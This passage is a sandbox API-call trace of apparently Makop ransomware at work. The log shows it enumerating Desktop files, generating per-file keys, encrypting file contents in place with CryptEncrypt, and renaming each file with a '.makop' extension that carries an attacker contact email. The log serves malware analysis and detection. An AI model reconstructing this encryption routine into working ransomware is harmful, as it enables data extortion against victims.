nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.968] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0054.968] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0054.968] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0054.968] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0054.969] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.969] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.969] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.969] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x50a0, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x50a0, lpOverlapped=0x0) returned 1 [0054.969] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x50a0, dwBufLen=0x50a0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x50a0) returned 1 [0054.970] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.970] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x50a0, lpOverlapped=0x0) returned 1 [0054.970] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.970] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x5184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.970] SetEndOfFile (hFile=0x120) returned 1 [0054.978] GetProcessHeap () returned 0x48a0000 [0054.978] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0054.979] GetProcessHeap () returned 0x48a0000 [0054.979] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0054.979] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9Ogn9zWJr2lT61U.png.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 104 [0054.979] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9Ogn9zWJr2lT61U.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9ogn9zwjr2lt61u.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9Ogn9zWJr2lT61U.png.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9ogn9zwjr2lt61u.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0054.983] CloseHandle (hObject=0x120) returned 1 [0054.983] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb31f70, ftCreationTime.dwHighDateTime=0x1d5e05e, ftLastAccessTime.dwLowDateTime=0x83af150, ftLastAccessTime.dwHighDateTime=0x1d5e10e, ftLastWriteTime.dwLowDateTime=0x83af150, ftLastWriteTime.dwHighDateTime=0x1d5e10e, nFileSizeHigh=0x0, nFileSizeLow=0x121fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AgxV6.jpg", cAlternateFileName="")) returned 1 [0054.984] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AgxV6.jpg") returned 47 [0054.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AgxV6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\agxv6.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0054.984] GetProcessHeap () returned 0x48a0000 [0054.984] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0054.984] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0054.984] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0054.984] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.987] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.987] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.987] GetProcessHeap () returned 0x48a0000 [0054.987] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0054.987] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30) returned 1 [0054.987] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.987] WriteFile (in: hFile=0x120, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x657e4a8*=0x30, lpOverlapped=0x0) returned 1 [0054.987] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.988] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0054.988] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0054.988] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0054.988] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0054.988] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.988] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.988] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.989] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x121fc, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x121fc, lpOverlapped=0x0) returned 1 [0054.990] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x12200, dwBufLen=0x12200 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x12200) returned 1 [0054.991] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.991] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12200, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x12200, lpOverlapped=0x0) returned 1 [0054.992] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.992] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x122c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.992] SetEndOfFile (hFile=0x120) returned 1 [0055.000] GetProcessHeap () returned 0x48a0000 [0055.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0055.000] GetProcessHeap () returned 0x48a0000 [0055.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.000] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AgxV6.jpg.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 94 [0055.000] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AgxV6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\agxv6.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AgxV6.jpg.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\agxv6.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.058] CloseHandle (hObject=0x120) returned 1 [0055.059] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8350890, ftCreationTime.dwHighDateTime=0x1d5df11, ftLastAccessTime.dwLowDateTime=0xa6e92840, ftLastAccessTime.dwHighDateTime=0x1d5e329, ftLastWriteTime.dwLowDateTime=0xa6e92840, ftLastWriteTime.dwHighDateTime=0x1d5e329, nFileSizeHigh=0x0, nFileSizeLow=0x159a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CBeFWMOb7eC-7r.m4a", cAlternateFileName="CBEFWM~1.M4A")) returned 1 [0055.059] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CBeFWMOb7eC-7r.m4a") returned 56 [0055.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CBeFWMOb7eC-7r.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cbefwmob7ec-7r.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.059] GetProcessHeap () returned 0x48a0000 [0055.059] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.059] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.059] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.060] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.062] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.062] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.062] GetProcessHeap () returned 0x48a0000 [0055.062] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.062] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0055.062] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.062] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0055.063] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.063] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.063] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.063] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.063] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.063] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.063] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.064] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.064] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x159a8, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x159a8, lpOverlapped=0x0) returned 1 [0055.066] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x159b0, dwBufLen=0x159b0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x159b0) returned 1 [0055.067] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.067] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x159b0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x159b0, lpOverlapped=0x0) returned 1 [0055.067] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.067] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x15a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.068] SetEndOfFile (hFile=0x120) returned 1 [0055.077] GetProcessHeap () returned 0x48a0000 [0055.077] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.077] GetProcessHeap () returned 0x48a0000 [0055.077] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.077] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CBeFWMOb7eC-7r.m4a.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 103 [0055.077] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CBeFWMOb7eC-7r.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cbefwmob7ec-7r.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CBeFWMOb7eC-7r.m4a.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cbefwmob7ec-7r.m4a.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.119] CloseHandle (hObject=0x120) returned 1 [0055.119] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ddd4d60, ftCreationTime.dwHighDateTime=0x1d5dfa9, ftLastAccessTime.dwLowDateTime=0x1bf6c520, ftLastAccessTime.dwHighDateTime=0x1d5dd35, ftLastWriteTime.dwLowDateTime=0x1bf6c520, ftLastWriteTime.dwHighDateTime=0x1d5dd35, nFileSizeHigh=0x0, nFileSizeLow=0x67c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d4THM7CMqY6HfrrW.wav", cAlternateFileName="D4THM7~1.WAV")) returned 1 [0055.119] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d4THM7CMqY6HfrrW.wav") returned 58 [0055.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d4THM7CMqY6HfrrW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d4thm7cmqy6hfrrw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.120] GetProcessHeap () returned 0x48a0000 [0055.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.120] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.120] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.120] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.120] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.120] GetProcessHeap () returned 0x48a0000 [0055.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0055.120] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0055.120] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.120] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0055.123] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.123] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.123] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.123] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.123] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.123] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.123] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.124] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.124] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x67c0, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x67c0, lpOverlapped=0x0) returned 1 [0055.124] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x67c0, dwBufLen=0x67c0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x67c0) returned 1 [0055.124] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.124] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x67c0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x67c0, lpOverlapped=0x0) returned 1 [0055.125] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.125] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x68a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.125] SetEndOfFile (hFile=0x120) returned 1 [0055.181] GetProcessHeap () returned 0x48a0000 [0055.181] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0055.181] GetProcessHeap () returned 0x48a0000 [0055.181] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.181] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d4THM7CMqY6HfrrW.wav.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 105 [0055.181] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d4THM7CMqY6HfrrW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d4thm7cmqy6hfrrw.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d4THM7CMqY6HfrrW.wav.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d4thm7cmqy6hfrrw.wav.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.186] CloseHandle (hObject=0x120) returned 1 [0055.187] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0055.187] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned 49 [0055.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.187] GetProcessHeap () returned 0x48a0000 [0055.187] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.187] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.187] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.187] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x6, lpOverlapped=0x0) returned 1 [0055.191] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: 